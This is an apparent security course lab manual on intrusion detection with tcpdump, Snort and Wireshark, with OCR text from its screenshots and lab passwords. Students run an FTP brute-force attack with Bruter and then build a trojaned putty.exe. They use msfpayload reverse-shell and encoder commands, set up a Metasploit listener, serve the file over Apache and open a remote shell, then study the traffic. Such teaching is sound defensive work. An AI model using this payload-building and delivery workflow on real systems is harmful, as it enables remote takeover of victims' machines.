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In this lab, students will enumerate hosts on the network using various tools.

This lab includes the following tasks:

· 1 - Setting up the Sniffer
· 2 - Detecting Unwanted Incoming Traffic
· 3 - Detecting Unwanted Outgoing Traffic

You should be aware of the common terms that are relevant within the “Intrusion Detection using Snort” lab to successfully complete it.

Wireshark – A protocol analyzer that read binary capture files. Wireshark will also allow you to capture network traffic and runs on Windows, Linux, and on Mac OS X. 

snort – Snort, is an Intrusion Detection System, or an IDS, it can be used to analyze and capture traffic. By using signatures, snort can provide information about activity within a capture file. Snort can be downloaded from www.snort.org and is a free and commercial tool. Sourcefire, a Columbia, Maryland based company, maintains and develops snort. 

tcpdump – A Linux/UNIX program that allows you to capture network traffic. The tcpdump program comes installed on many Linux distributions by default.

Sniffer – A Sniffer is used to capture network traffic on a Network. Software programs like tcpdump, Wireshark, and Network Miner can be used to sniff traffic.

PCAP File – Programs that can sniff network traffic like tcpdump, Wireshark, and Network Miner allow you to save the network capture to a PCAP file format. In order to read the PCAP format, you need a tool like Wireshark or Network Miner.
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[bookmark: _Toc404625600]Lab Settings

The information in the table below will be needed in order to complete the lab.  The task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the Windows 7, Windows 2008 Internal, External BackTrack 5 and Windows 2008 Sniffer machines.

	
Windows 7 Professional 

	216.1.1.200

	
student password

	password

	
Windows 2008 Internal Machine

	192.168.1.100

	
Administrator password

	P@ssw0rd

	
External BackTrack 5 R3

	216.1.1.100

	
BackTrack 5 R3 root password

	toor

	
Sniffer

	NO IP

	
Administrator password

	sniffer














[bookmark: _Toc393517144][bookmark: _Toc404625601]Setting up the Sniffer

Passwords help to secure systems running remote operating system. If an attacker is able to get the administrator password on a remote system, they will be able to take complete control of that device. Companies need to have mechanism in place to protect systems connected to the Internet from being exploited by remote attackers.  

[bookmark: _Toc348364218][bookmark: _Toc393517145][bookmark: _Toc404625602]Logging on to the Sniffer

The Linux distribution BackTrack is installed on the sniffer machine. BackTrack is a distribution used by security professionals for pentration testing and forensics. 

Log on to the sniffer

1. On the Windows 2008 Server Sniffer click PC in the upper left and Send Ctrl+Alt+Del in order to log on to the Windows 2008 server.
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Figure 1:  Logging on to 2008 Server (Sniffer Machine)

2. Enter sniffer for the Administrator password to the Windows 2008 Server.
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Figure 2:  Logging On
3. Click on the start button. Click the arrow to the far right and select restart. 
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Figure 3:  Restart the Firewall. 

4. Select the second reason in the list from the drop down box and click ok.
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Figure 4:  Shutdown Reason
5. Select the 2nd choice in the menu and hit enter to boot into Linux.
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Figure 5:  Select the Second Choice

6. Type the following command to initialize the GUI (Graphical User Interface): 
	root@bt:~#startx
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Figure 6:   Logging on to the Sniffer

7. Click “Yes” to reestablish the connection.
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Figure 7:   Reestablish the connection
8. Click the small blue arrow in the bottom right corner of the screen to adjust the resolution. Click accept configuration if the Desktop renders correctly.
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Figure 8:   Adjusting the Screen Resolution

9. [bookmark: _Ref331406106]Open a terminal on the Linux Sniffer system by clicking on the image to the right of Firefox in the task bar, in the bottom of the screen.
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Figure 9:   The Terminal Windows within BackTrack 

One of the nice features of some versions of BackTrack is that they are not automatically assigned IP addresses through the use of DHCP, or Dynamic Host Configuration Protocol.  This is because the interfaces are not active – they must be manually enabled.  The idea is to come on the network quietly without being detected. 





10. Only the loopback address, 127.0.0.1, is displayed when you type:
	root@bt:~#ifconfig
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Figure 10:   No IP address, other than the Loopback Address of 127.0.0.1, is displayed

11. Type the following command to view all available interfaces on the system:
	root@bt:~#ifconfig -a
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Figure 11:  All Available Interfaces on the System 
Neither of the interfaces, eth0 or eth1 is assigned an IP address on their respective networks.  The reason the sniffer has two interfaces is that it is located on two networks, the internal network (LAN) and the external network (WAN).

The 2008 Firewall also has 2 interfaces and is also connected to both networks.

[image: ]
Figure 12:  The Sniffer is connected to Two Networks

A sniffer should be operating in promiscuous mode so it can see all network traffic.  To put the interfaces into promiscuous mode, type the following commands:

Two ways to ensure that a sniffer will capture all traffic on a network segment are:

· Connect the sniffer and other devices on the network to a hub
· Connect the sniffer to a switch’s SPAN (Switched Port Analyzer) port




12. To activate the first interface, type the following command:
	 root@bt:~#ifconfig eth0 up
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Figure 13:  Activating the First Interface

13. To verify the first interface, type the following command:
	 root@bt:~#ifconfig eth0

	Verify that the status of “UP” is shown on the second line of output.
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Figure 14:  The Interface is activated without an IP address 

14. To activate the second interface, type the following command:
 	root@bt:~#ifconfig eth1 up
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Figure 15:  Activating the Second Interface



15. To verify the second interface, type the following command:
 	root@bt:~#ifconfig eth1

	Verify that the status of “UP” is shown on the second line of output.
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Figure 16:  The Interface is activated without an IP address 

The Linux/UNIX utility tcpdump is commonly used by network administrators to capture network traffic on a sniffer.  Many sniffer machines do not have GUI, or Graphical User Interfaces, so running GUI-based tools like Wireshark or Network Miner is not possible.  Another benefit to using tcpdump is that it handles very large capture files well. Wireshark loads files into RAM, so if the file is large enough it might not open.

16. Type the following command to view several available switches for tcpdump:
	root@bt:~#tcpdump --help

[image: ]

Figure 17:  The Available Options for tcpdump






17. [bookmark: _Ref357782972]To run tcpdump on the network segment interface eth0 is connected to, type:
	root@bt:~#tcpdump –i eth0

Wait until at least one IPv4 packet is displayed before stopping the capture. It could take a couple of minutes before a packet shows up.
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Figure 18:  The output of tcpdump on the network segment interface eth0 is connected

After one IPv4 packet or more is displayed, press CTRL+C to stop the network capture.
If the network 192.168.1.0/24 is displayed, eth0 is located on the first (internal) network.  If the network 216.0.0.0/24 is displayed, eth0 is located on the second (external) network.  Also, notice that the default for tcpdump is to capture only the first 96 bytes. The –s 0 switch will allow tcpdump to capture the full packet size of 65,536.

18. [bookmark: _Ref357783014]To run tcpdump on the network segment interface eth1 is connected to, type:
	root@bt:~#tcpdump -i eth1 -s 0

Wait until at least one packet is displayed before stopping the capture. Log on to the Windows 7 machine as student with the password of password if you do not see traffic.
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Figure 19:  The output of tcpdump on the network segment interface eth1 is connected
After one packet or more is displayed, press CTR+C to stop the network capture.
If the network 192.168.1.0/24 is displayed, eth1 is located on the first (internal) network.  If the network 216.0.0.0/8 is displayed, eth1 is located on the second (external) network. The –s 0 switch is used to capture the full packet size (65,536).

19. To capture traffic on the 192.168.1.0/24 network and send it to a file, type:
	root@bt:~#tcpdump –i eth0 -nntttt -s 0 -w capnet1.pcap -C 100

Be sure to enter the appropriate interface in the command syntax!
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Figure 20:  tcpdump syntax

The following table lists details of the switches used with the tcpdump command:

	
-i eth0
	
Use interface zero


	
-nntttt
	
Disable DNS resolution, date and time format


	
-s 0
	
Disables default packet size of 96 bytes, full packet size


	
-w
	
Write to a capture file, instead of displaying to the screen


	
-C 
	
Split the captures into files of this size
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Figure 21:  Detailed tcpdump Syntax Explained

Wait about 5 minutes so that your capture file will have some generated traffic. Packets will not display in the terminal because they are being sent to a file.
Press CTRL-C to stop tcpdump from running and discontinue the network capture.


20. To view the capture file, type the following command at the BackTrack terminal:
	root@bt:~#wireshark capnet1.pcap

[image: ]

Figure 22:  Opening the tcpdump capture with Wireshark

21. Check the “Don’t show the message again” box and click the OK button.
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Figure 23:  Opening the tcpdump capture with Wireshark

Wireshark will open and the capture file will appear, similar to the one seen below:
Notice that the traffic listed takes place on the 192.168.1.0/24 network.
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Figure 24:  The tcpdump Capture is Displayed within Wireshark







22. From the file menu select Quit to close Wireshark. 

[image: ]

Figure 25:  Close Wireshark

23. To capture traffic on the 216.0.0.0/8 network and send it to a file, type:
	root@bt:~#tcpdump –i eth1 -nntttt -s 0 -w capnet2.pcap -C 100

[image: ]

Figure 26:  tcpdump syntax
Wait about 5 minutes so that your capture file will have some generated traffic.
Press CTRL+C to stop tcpdump from running and discontinue the network capture.

While waiting, log off and back on to the external Windows 7 machine as student with the password of password to generate some traffic for your capture file.


24. To view the capture file, type the following command at the BackTrack terminal:
	root@bt:~#wireshark capnet2.pcap

[image: ]

Figure 26:  Opening the tcpdump capture with Wireshark
Wireshark will open and the capture file will appear similar to the one seen below:
Notice that the traffic listed takes place on the 216.0.0.0/8 network.  Exit Wireshark when finished by clicking the “X” in the upper right corner of the screen.
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Figure 28:  The tcpdump capture is displayed within Wireshark


[bookmark: _Toc393517146][bookmark: _Toc404625603]Conclusion

Sniffers are a very important part of network monitoring. In the real world, capture files are huge and can cause GUI based programs or programs that load into RAM to crash.
The tool tcpdump can be utilized on a Linux system to capture network traffic. 


[bookmark: _Toc348364220][bookmark: _Toc393517147][bookmark: _Toc404625604]Discussion Questions

1. What command will display all of the Ethernet interfaces within Linux?
2. By default, tcpdump will capture how many bytes of a packet?
3. What switch can be utilized with tcpdump to capture the entire packet?
4. How can you see what options are available for the tcpdump command?















[bookmark: _Toc393517148][bookmark: _Toc404625605]Detecting Unwanted  Incoming Attacks

Insiders are a huge threat to networks because they are inside of the firewall. For this reason, most internal networks are monitored. In this section we will monitor the internal network while an attack is conducted and then review generated snort alerts.

[bookmark: _Toc393517149][bookmark: _Toc404625606]Detecting Attacks

We will send the network traffic to a log file which we will later analyze with snort.
In sniffing mode, snort can be used to dump output to the screen or a log file. We will dump the output to the screen so we can view internal network communication.

Perform the following steps on the sniffer machine booted to the BackTrack Live CD.

1. To mount the disk for capture, type the following commands:
root@bt:~#mkdir  /mnt/sdb1
root@bt:~#mount  /dev/sdb1  /mnt/sdb1
root@bt:~#cd  /mnt/sdb1

[image: ]

Figure 29:  Mount the Disk for large Capture Files

2. Type the following verify that a snort directory is present on the drive:
root@bt:/mnt/sdb1#ls
	
[image: ]

	Figure 30: Viewing the Drive Contents 

3. Type the following command to start the sniffer on the internal interface: 
root@bt:/mnt/sdb1#tcpdump –i eth0 -nntttt -s 0 -w brute.cap

[image: ]

	Figure 31: Capturing Traffic 
4. Log on to Windows 7 as student with the password of password. 

[image: ]

Figure 32:  Logging on to the Windows 7 Machine  

5. Open a Command prompt and type the following command to scan the firewall for open ports:
C:\>nmap 216.1.1.1

[image: ]

Figure 33:  The results of the port scan


6. Double Click on the Bruter.exe shortcut on the Windows 7 Desktop.
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Figure 34:  Launching Bruter  

7. Type 216.1.1.1 for the Target IP. For the username type administrator. For the dictionary, click the browse button. Click Wordlists.txt and click Open.
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Figure 35:  Setting the Bruter Options

8. Click the Start button to initiate the Brute Force attack against FTP.
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Figure 36:  Starting the Attack 

9. Within Bruter, click on the Testing Tab to view the actions against the victim.
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Figure 37:  Brute Force Attempts

10. After Bruter has cycled through the dictionary words, click the result tab. 
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	Figure 38: Password Retrieved
 
11. On the sniffer, hit Control + C to stop the tcpdump program. Type the following:
root@bt:/mnt/sdb1#snort -l . -c /etc/snort/snort.conf  -r brute.cap

[image: ]

Figure 39:  Stopping Snort from Logging 

12. Type the following command to analyze the alert file generated by snort:
root@bt: /mnt/sdb1#kwrite alert

[image: ]

Figure 40:  Viewing the Generated Alert File 

Scroll through the file and you should see a large number of brute force attempts.
The alert file is aware of the following items that took place on the internal network:
· The attack by 216.1.1.200 over port 21
· The large number of attempts within seconds indicate this is not normal activity


[bookmark: _Toc335601636][bookmark: _Toc348364223][bookmark: _Toc393517150][bookmark: _Toc404625607]Conclusion

The tcpdump utility can be used to capture network traffic. After a capture file has been generated, that capture file can be analyzed with snort. An alert file is generated when snort examines the traffic. Alerts will help us determine malicious network activity.


[bookmark: _Toc335601637][bookmark: _Toc348364224][bookmark: _Toc393517151][bookmark: _Toc404625608]Discussion Questions

1. What file does snort generate, that provides detail about malicious activity?
2. What is the command to get snort to analyze a PCAP file?
3. What does the Bruter program do?
4. What is a Brute force attack?



[bookmark: _Toc393517152][bookmark: _Toc404625609]Detecting Unwanted Outgoing Traffic

While internal threats like insiders are very real, the threats from attackers on the Internet are also very real. If an employee on the inside of a company’s network is caught performing malicious actions on the network, they might get fired or face criminal prosecution. An attacker from the Internet may not have to face any recourse because they might live in an area in the world where they are out of your jurisdiction. 

[bookmark: _Toc348364226][bookmark: _Toc393517153][bookmark: _Toc404625610]Using Wireshark

In this exercise, we will use Wireshark to capture the network traffic, and then analyze the PCAP file with snort. Snort can analyze PCAP files for most sniffer programs.

1. Type the following command to start the sniffer on the internal interface: 
root@bt:/mnt/sdb1#tcpdump –i eth0 -nntttt -s 0 -w badtraffic.cap

[image: ]

	Figure 41: Capturing Traffic 

In order to create the malicious software that will be used by an internal network user, perform the following steps on the External Machine running BackTrack 5 R3 Linux: 

Note: Just click in the Window and hit enter if BackTrack is displaying a black screen.

2. Type root for the login and toor (root spelled backwards) for the password. 


Note: The password of toor will not be displayed when you type it for security purposes.
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Figure 42:  Logging in as root 
3. Type the following command to start the Graphical User Interface (GUI).
root@bt:~#startx

[image: ]

Figure 43:  The startx command 

4. Double Click on the msfencode.txt file on the Desktop, Click Display. 

[image: ]

Figure 44:  Display the File 

5. Click the Edit Menu and choose “Select All”.

[image: ]

Figure 45:  Select All 

6. Right click and select Copy.

[image: ]

Figure 46:  Copy 

7. Open a terminal on the Linux system by clicking on the picture to the right of the word System in the task bar in the top of the screen in BackTrack version 5 R3.

[image: ]

Figure 47:  The Linux Terminal 

8. Select Edit from the Terminal Menu bar and select paste.
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Figure 48:  Pasting the Line

9. The msfpayload command will then appear in the terminal.
	[image: ]

Figure 49:  Starting Wireshark on the External Interface 
10. Hit the enter key to generate the executable with the malicious backdoor.
 [image: ]

Figure 50:  Generate the Payload

11. Type the following command to launch Metasploit:  
root@bt:~#msfconsole

[image: ]

Figure 51:  The msfconsole of Metasploit 

12. To use the multi-handler within Metasploit, type the following command:
msf  > use exploit/multi/handler

[image: ]

Figure 52:  Multi-handler




13. To use the multi-handler within Metasploit, type the following command:
msf  exploit(handler) > set lhost 216.1.1.100

[image: ]

Figure 53:  Setting the Local Host IP Address 
14. Set the listening port to 443 by typing the following command:
msf  exploit(handler) > set lport 443

[image: ]

Figure 54:  Setting the Port

15. Set the payload to a reverse windows command shell by typing the following:
 	msf  exploit(handler) > set payload windows/shell/reverse_tcp

[image: ]

Figure 55:  Setting the Payload

16. Type the following command to verify you have set all of the options correctly:
msf  exploit(handler) > show options
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Figure 56:  Showing the Options


17. To begin listening on port 443 type:
	msf  exploit(handler) > exploit

[image: ]

Figure 57:  Starting the Listener  

18. To start Apache, select BackTrack from the Applications menu bar, and then select Services, then select HTTPD, then select apache start. A window will appear and then close.

[image: ]

Figure 58:  Starting Apache

19. Open another terminal on the Linux system by clicking on the picture to the right of the word System in the task bar in the top of the screen of External BackTrack.

[image: ]

Figure 59:  The Linux Terminal 
20. To view the current running services, type the following command:
root@bt:~#netstat -tan

[image: ]

Figure 60:  The netstat command

After starting Apache, the BackTrack system is now also listening on port 80.

21. Copy the malicious file to the webroot of BackTrack by typing the following:
root@bt:~#cp putty.exe  /var/www

[image: ]

Figure 61:  Fie copy

22. Verify that the malicious file is present in www by typing the following:
root@bt:~#ls  /var/www

[image: ]

Figure 62:  Viewing Files

25. On the Internal Windows 2008 Server, click PC in the upper left and Send Ctrl+Alt+Del in order to log on to the Windows 2008 server.

[image: ]

Figure 63:  Logging on to 2008 Server
26. Enter P@ssw0rd for the Administrator password on the Windows 2008 Server Internal Machine.

[image: ]

Figure 64:  Logging into Windows 8

27. Click on the Internet Explorer Shortcut on the Desktop. 

[image: ]

Figure 65:  Shortcut to Internet Explorer

28. Type the following URL in Internet Explorer: http://216.1.1.100/putty.exe
Someone may go to a URL such as this because of a Facebook or Twitter post, a spearphish email, or they might wind up there after using a search engine.
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Figure 66:  Returning to the Home Page 







29. Click run and click run again when you are warned about the unverified publisher.

[image: ]

Figure 67:  Click Run  

30. The Putty Program will open on the Internal Windows 2008 Server.

[image: ]

Figure 68:  Putty  

31. Click on the External BackTrack machine to view the connection to the victim.

[image: ]

Figure 69:  Command Prompt Connection  

32. Type the following command to test the connection to get a directory listing.
C:\Users\Administrator\Desktop>dir

[image: ]

Figure 70:  Directory Listing  

33. On the sniffer, hit Control + C to stop the tcpdump program. Type the following:
root@bt:/mnt/sdb1#wireshark badtraffic.cap

[image: ]

Figure 71:  Wireshark 

34. Type frame contains “Microsoft Windows” in the filter pane and click apply.

[image: ]

Figure 72:  Wireshark Filter  

35. Right click on the stream in packet that is displayed and select follow TCP stream.

[image: ]

Figure 73:  Follow TCP Stream

36. View the network traffic between the attacker and victim machines.

[image: ]
[bookmark: _Toc348364227]
Figure 74:  Network Communication 

[bookmark: _Toc393517154][bookmark: _Toc404625611]Conclusion

Wireshark can be used to analyze and capture network traffic. Filters can be used to look for certain IP Addresses, Protocols, or phrases within a capture file. The filter frame contains “Microsoft Windows” can help to locate Windows command shells in traffic. 


[bookmark: _Toc348364228][bookmark: _Toc393517155][bookmark: _Toc404625612]Discussion Questions

1. Where do you go in the BackTrack Menu to start the Apache server?
2. How can you verify that a machines is listening on port 80?
3. What filter in Wireshark will allow you to view Windows command shells?
4. Where is the default web root directory located in BackTrack Linux?
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has closed unexpectedy.

Please make sure the PC is still powered on and that your

NETLAB session is still active. Note, f your session has

‘expired, you will not be able to reestablish your connection

using this client instance. In this case, close this client

instance, log back into NETLAB and launch a new instance of

the client from the Topology tab.

Would you like to try to reestablish the connection?

Yes || Mo
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Konsole

Terminal Program
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(=) root@bt: ~ - Shell - Konsole

sion Edit Vie

rootebt:# ifconfig
o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B

rootebt:~# |
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root@bt:-# ifconfig -a
etho Link encap:Ethernet Huaddr 00:0c:29:31:4f:2
BROADCAST MULTICAST MTU:1500 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrie
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B
Interrupt:19 Base address:0x2000

ethl Link encap:Ethernet Huaddr 00:0c:29:31:4f :fc
BROADCAST MULTICAST MTU:1500 Metric
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B
Interrupt:19 Base address:0x2080

o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrie
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B
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0ne root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings

:-# ifconfig etho up

= |
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root@bt:-# 1fconfig etho

tho Link encap:Ethernet Huaddr 00:0c:29:31:4f:f2
ROADCAST RUNNING MULTICAST MTU:1500 Metric:l

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:o|

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B

Interrupt:19 Base address:0x2000

rootebt:-# |
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o
a

root@bt: ~ - Shell - Konsole

n| Edt View Bookmarks Settings Help

# ifconfig ethl up
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root@t:-# ifconfig ethl
ethy nk encap:Ethernet Hdaddr 00:0c:20:31:4f:fc
3 [UP|BROADCAST RUNNING MULTICAST MTU:1S00 Metric:l

RX packets:0 errors:0 dropped:0 overruns:O frame
TX packet: errors:0 dropped:0 overruns:O carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:19 Base address:0x2080

rootebt:—# [
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root@bt:~# tcpdump --help
tcpdump version 3.9.8

libpcap version 1.0.0
Usage: tcpdump [-aAdDeflLnNOpgRStuUvxX] [-c count] [ -C file_size ]

[ -E algo:secret ] [ -F file ] [ -i interface ] [ -M secret ]
[ -r file 1 [ -s snaplen ] [ -T type 1 [ -w file ]

[ -W filecount ] [ -y datalinktype ] [ -Z user ]

[

expression ]
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root@bt:~# tcpdump -i eth®

tcpdump: WARNING: eth@: no IPv4 address assigned

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type EN16MB (Ethernet), capture size 96 bytes
19:02:43.475205 IP 192.168.1.200.netbios-ns > 192.168.1.255.netbios-ns: NBT UDP
PACKET(137): QUERY; REQUEST; BROADCAST

19:02:43.475638 IP 192.168.1.200.51747 > 224.0.0.252.hostmon: UDP, length 24
19:02:43.895617 IP 192.168.1.200.51747 > 224.0.0.252.hostmon: UDP, length 24
19:02:44.270557 IP 192.168.1.200.netbios-ns > 192.168.1.255.netbios-ns: NBT UDP
PACKET(137): QUERY; REQUEST; BROADCAST

19:02:45.051839 IP 192.168.1.200.netbios-ns > 192.168.1.255.netbios-ns: NBT UDP
iACKET(137): QUERY; REQUEST; BROADCAST
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root@bt:~# tcpdump -i ethl -s @

tcpdump: WARNING: ethl: no IPv4 address assigned

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ethl, link-type EN16MB (Ethernet), capture size 65535 bytes
19:07:07.082750 IP 216.1.1.200.netbios-dgm > 216.1.1.255.nethios-dgm: NBT UDP PA

CKET(138)

19:09:21.239935 IP 0.0.6.0.bootpc
:bl (oui Unknown),
IP 0.0.0.0.bootpc
:bl (oui Unknown),
IP 0.0.0.0.bootpc
:bl (oui Unknown),

: arp who-has 216.1.
19:09: 50 530451 arp reply 216.1.1.

> 255.255.255.255.bootps: BOOTP/DHCP, Request from
length 300

> 255.255.255.255.bootps: BOOTP/DHCP, Request from
length 300

> 255.255.255.255.bootps: BOOTP/DHCP, Request from
length 300

1.1 tell 216.1.1.200

1 is-at 00:50:56:9c:8a:94 (oui Unknown)

19:09:50.530504 IP 216.1.1.200.62411 > 216.1.1.1.domain: 28486+ A? 6tod.ipv6.microso

ft.com. (41)

19:09:51.531443 IP 216.1.1.200.62411 > 216.1.1.1.domain: 28486+ A? 6to4.ipv6.microso
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root@bt:# tcpdump -1 ethO -nntttt -s O -w capnetl.pcap -C 100
tcpdunp: WARNING: ethO: no IPv4 address assigned
tepdump: listening on ethO, link-type EN1OMB (Ethernet), capture size 65535 bytes
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tepdump -1 etho -nntttt -s O -w capnetl.pcap -C 100

e £

e I T
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0ne root@bt: ~ - Shell

fiew  Bookmarks

“# wireshark capnetl.pcap
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Running as user "root” and group "root"
This could be dangerous

[ Don't show this message again.

ok
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capnetl.pcap - Wireshark

File Edit View Go Capture Analyze Statistics Telephony Tools Hell

BEoee ocdxo = 49007%

Filter: | | | Expression... Clear Apply

No. [Time | source | Destination [ Protc
16.000000  192.168.1.200 192.168 DNS
20.999949  192.168.1.200 DNS
32.014648  192.168.1.200 192.168.1.1 DNS
44.014653  192.168.1.200 192.168.1.1 DNS

5 8.014688 197 .168.1.200 192.168.1.1 DNS
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File Edit View Go Capture An:

< Open... ctrl+0o
Open Recent »
Merge...

% Close Ctri+w

a

& Save As... Shift+Ctrl+S |
File Set ’
Export »

= Print... Ctrl+pP

® Quit ctri+Q
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0ne root@bt: ~ - Shell - Konsole

Session [Edit] View Bookmarks Settings Help

# tcpdunp -1 ethl -nntttt -s O -w capnet2.pcap -C 100
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a6 root@bt: ~ - Shell

Edit View Bookmarks Settings Hel

R ————
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capnet2.pcap - Wireshark,
Flle Edit View Go Capture Analyze Statistics Telephony Tools Help

SEEBay odxo

Filter: | ion... Clear Apply

Source | Destination E;S;ﬂ!'gjf%ﬁ_‘_m

10. 1. 1,200 9. 253 255 250 ]
40 000015 216.1.1.200 239.255.255. SSDP NOTIFY * HTTP/1.
50.000016 216.1.1.200 239.255.255. SSDP NOTIFY * HTTP/1.
6 0.000017 216.1.1.200 239.255.255. SSDP NOTIFY * HTTP/1.
7 25.801757 L1.1. L1.1. Standard query
8 26.815362 216.1.1.200 216.1.1.1 DNS Standard query /
9 28.827765 216.1.1.200 216.1.1.1 DNS Standard query
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root@bt:~# mkdir /mnt/sdbl
root@bt:~# mount /dev/sdbl /mnt/sdbl
root@bt:-# cd /mnt/sdbl
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root@bt:/mnt/sdbl# ls
$RECYCLE.BIN Snort
root@bt:/mnt/sdbl# ||
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root@bt:/mnt/sdbl# tcpdump -i ethe -s © -nntttt -w brute.cap
tcpdump: WARNING: ethe: no IPv4 address assigned
tcpdump: listening on ethe, link-type EN1OMB (Ethernet), capture size 65535 bytes
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inistratar: cm

icrosoft windows [Version 6.1./600]
opyright (c) 2009 Microsoft Corporation. All rights reserved

S\snmap 216.1.1.1
Starting Nmap 5.51 C http://nmap.org ) at 2014-11-24 20:10 Eastern

Nmap scan report for server.Xvzcompany.com (216.1.1.1)
Host is up €0.00s latency)

ot shown: 995 filtered ports

PORT  STATE SERVICE

D1/tcp open Ftp

D3/tcp open telnet

D5/tCp  open smtp

30/tCp open http

[110/tcp open popi

AC Address: 00:50:56:9C:8A:94 (WMware)

Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
o
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administrator  P@ssw0rd
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root@bt:/mnt/sdbl# snort -1 . -c /etc/snort/snort.conf -r brute.cap
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Ele Edit View Bookmarks Tools Settings Help

Heolad =% o @@=
|**) [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [*]
(Classification: Unsuccessful User Privilege Gain) (Priority: 1.
96/05.20:28:15. 796400 19 165.1.100:21 > 216.5.1.200: 1057
TCP TTL:128 T05:0x0 1011995 TpLen:20 DgaLeni7s OF
SelAPhs Seq: OXGB20E2DF Ack: ORdGBIFEAS. Win: Ox100 Tcplen: 20
(xref -
hEp:/ . emergingthreats .net/cgi-bin/cvsweb. cai/ 555/ SCAN/SCAN_FTP.Brute_Forcel xre
12 Retpe/ydoc.energingthreats.net/20023831

[++] [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [*]
[Classification: Unsuccessful User Privilege Gain] [Priority: 11
06/08-20:28:15.813277 192.168.1.100:21 -> 216.5.1.200:1057
TCP TTL:128 T05:0x0 10:2005 IpLen:20 DgaLen:79 OF
“APY* Seq: OXGB20E474 Ack: OXAGBIFFS3 Win: OXFF Tcplen: 20
[xref =
http://wa. emergingthreats.net/cgi-bin/cvsweb. cgi/sigs/SCAN/SCAN_FTP Brute Force] [Xre
£ => http://doc.energingthreats.net/2002383]

[++] [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [**]
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root@t:/mnt/sdbl# tcpdump -i eth® -s @ -nntttt -w badtraffic.cap
tcpdump: WARNING: etho: no IPva address assigned
tcpdump: listening on eth®, link-type EN1OGMB (Ethernet), capture size 65535 bytes
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BackTrack 5 R3 - 32 Bit bt ttyl
bt login: root

Last login: Tue Aug 13 22:37:12 EDT 2013 on ttyl
Linux bt 3.2.6 #1 SMP Fri Feb 17 10 5 EST 2012 i686 GNU/Linux

Systen information disabled due to load higher than 1.0
root@bt:# _
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root@bt:"# startx_
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msfencode.txt





image50.png
~ v x msfencode.txt (~/Desktop) - gec
File Edit View Search Tools Documents Help

Select All ctri+A
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sfpayLoad windows/shell/reverse_tcp LHOST=216.6.1.160 LPOR]
root/putty-real.exe -k -o putty.exe -e x86/shikata ga nai -c 5

43 R | msfencode -t exe -x /
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Applications Places System 2]

~ v % root@bt: ~
File Edit View Terminal Help

root@bt:~#
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~ v % root@bt: ~

File | Edit| View Terminal Help

roo Copy Shift+Ctri+C
Paste Shift+Ctri+V
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root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=216.1.1.100 LPORT=443 R |
msfencode -t exe -x /root/putty-real.exe -k -o putty.exe -e x86/shikata_ga nai -
c5
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root@t:~# mstpayload windows/shell/reverse tcp LHOST=216.1.1.100 LPORT=443 R |
msfencode -t exe -x /root/putty-real.exe -k -o putty.exe -e x86/shikata_ga nai -
E*? x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata ga nai succeeded with size 344 (iteration=2)

[*] x86/shikata ga nai succeeded with size 371 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)

[*] x86/shikata ga nai succeeded with size 425 (iteration=5)
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=[ metasploit v4.0.0-release [core:4.0 api:1.0]

[+ - 716 exploits - 361 auxiliary - 68 post
[+ - 226 payloads - 27 encoders - s nops

[ svn r13462 upda; 210i (2011 08.01)
larning: Th: sa f the Metasploit Fr t u 4210 liays ago

We recomnend- that you update the frannzwork at least every other day.
For infornation on updating your copy of Metasploit, please see:
https://community. rapid7.com/docs/DOC-1306
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Imsf > use exploit/multi/handler
sf exploit(handler) >
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msf exploit(handler) > set lhost 216.1.1.1600
lhost => 216.1.1.100
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msf explolt(handié;—) > set lport 443
lport => 443





image60.png
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse tcp
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mstf exploit(handler) > show options
Module options (exploit/multi/handler)

Name Current Setting Required Description

Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, no
ne

LHOST 216.1.1.100 yes The listen address

LPORT 443 yes The listen port
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msf exploit(handler) > exploit

[*] Started reverse handler on 216.1.1.100:443
[*] Starting the payload handler...
B
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I\ Piaces system [
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9 Wine
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) RFID Tools
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‘B Reporting Tools.

Miscellaneous.
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root@ht:~# netstat -tan
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address
0 127.0.0.1:7337
0.0.0.0:80
0.0.0.0:21

tcp
tcp
tcp
tcp6

cooo

0
0
0

337

Foreign Address
0.0.0.0:*
0.0.0.0:*
0. L0:%

State

LISTEN
LISTEN
LISTEN
LISTEN
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Iruut@bt:~# cp putty.exe /var/www/
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root@bt:~# 1s

index.html LsaExt.dll

/var/www/

putty.exe

PwDump.exe pwservice.exe wstool
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Internet Explorer Enhanced Security Configuration is not enabl

——

SIS [E] http:fr216.1.1. 100jputty.exe

Fle Edt View Favortes Tooks Help
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Internet Explorer - Security Warning

